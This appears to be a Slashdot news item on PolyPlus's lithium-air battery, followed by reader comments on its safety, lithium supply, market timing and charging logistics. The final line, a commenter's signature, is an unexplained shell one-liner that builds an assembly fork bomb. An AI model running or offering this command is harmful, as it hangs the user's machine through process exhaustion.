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New Lithium-Air Battery Delivers 10 Times the Energy Density
Al writes "A company called PolyPlus has developed lithium metal-air batteries that have 10 times the energy density of regular lithium-ion batteries. The anode is made up entirely of lithium metal, and the surrounding air acts as the cathode, making the batteries incredibly energy dense. Previous efforts to make lithium metal batteries have been stymied by the sensitivity of lithium to water in the air. The new batteries use a sophisticated membrane to protect the lithium anode and PolyPlus has even created a version that works underwater, by drawing oxygen through the membrane. Lithium metal-air batteries could be light-weight power sources for demand for plug-in hybrid vehicles and consumer electronics; IBM also recently announced that it would develop lithium metal-air batteries for the energy grid and for transportation."
"it expects these batteries to be on the market within a few years"
Just like those ultra efficient, cheap, solar panels we've been promised 'next year' each year for the last decade.
There's no here here. They don't have any real batteries in production. Its still in real-world testing. Or to put it in more slashdot-centric way of thinking... they don't even have 2/4 steps for profit 1) Announce untested idea for new battery 2) ?????? 3) ?????? 4) Profit!
I'm not sure that is a blessing or a curse. Burning down your house isn't worth having a longer lasting laptop;
I know what you mean but you could also say burning down your house isn't worth having a stove. You just need to know that the battery can be dangerous and you should handle it accordingly.
I came to the datacenter drunk with a fake ID, don't you want to be just like me?
I believe the summary is the first time I've ever seen "sensitivity" used as a synonym for "tendency to explode violently."
Based on some spectacular chemistry class demonstrations of lithium/water interaction, I'm going with significantly less safe than Li-ion.
If these batteries really can store 10 times the energy of current batteries, they could be revolutionary. They could make the electric car more practical than using gasoline.
However, the big catch is that we can't really produce enough Lithium to make all those batteries. There is a plentiful supply in the water: "Seawater contains an estimated 230 billion tons of lithium, though at a low concentration of 0.1 to 0.2 ppm." But there's probably no practical way to extract it.
Batteries may be somewhat dangerous, but right now we're parking our cars in our garages with 15 gallons of gasoline in the tanks. If it gets out, it flows all over the place. It also fills the air with an explosive gas that will also cause poisoning in people, or at least intoxication. Lose one threat, gain another. The battery is probably safer than the gasoline.
If they last a month in my laptop, are cheap to replace, and can be conveniently dropped into a recycling bin where I pick up my new batteries, then I don't care so much. It's the logistics that matter as much as anything. It's usually the logistics that are overlooked.
If you lived, worked, and shopped within a few blocks, you wouldn't even worry about your car most days. That's logistics.
If you could replace gasoline with hydrogen, that'd be great. However, you'd also have to replace gasoline with hydrogen in all those gasoline stations. Yet you can't get rid of the gasoline at the stations until everyone else's car stops running on gasoline, too.
Electric cars are great, but most of them need to be recharged overnight. If you build a car than can recharge for a 200-mile trip in 5 minutes, you still need to have recharging stations that can deliver that amount of power that are easily accessible. See? Logistics.
Unless they are in the store at an affordable price it doesn't matter to me
In that case, I suggest you read Consumer Weekly, instead of a technology news site.
I am TheRaven on Soylent News
Oh, right, except that equation deals with nuclear energy and not chemical energy.
It's all relative isn't it?
sudo mount --milk --sugar
Any time someone thinks they've idiot-proofed anything, the universe takes that as a challenge to design a bigger idiot.
Long? What do you mean the signature at the bottom of every comment I post on Slashdot is too lo
Maybe she needed lithium in her body.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;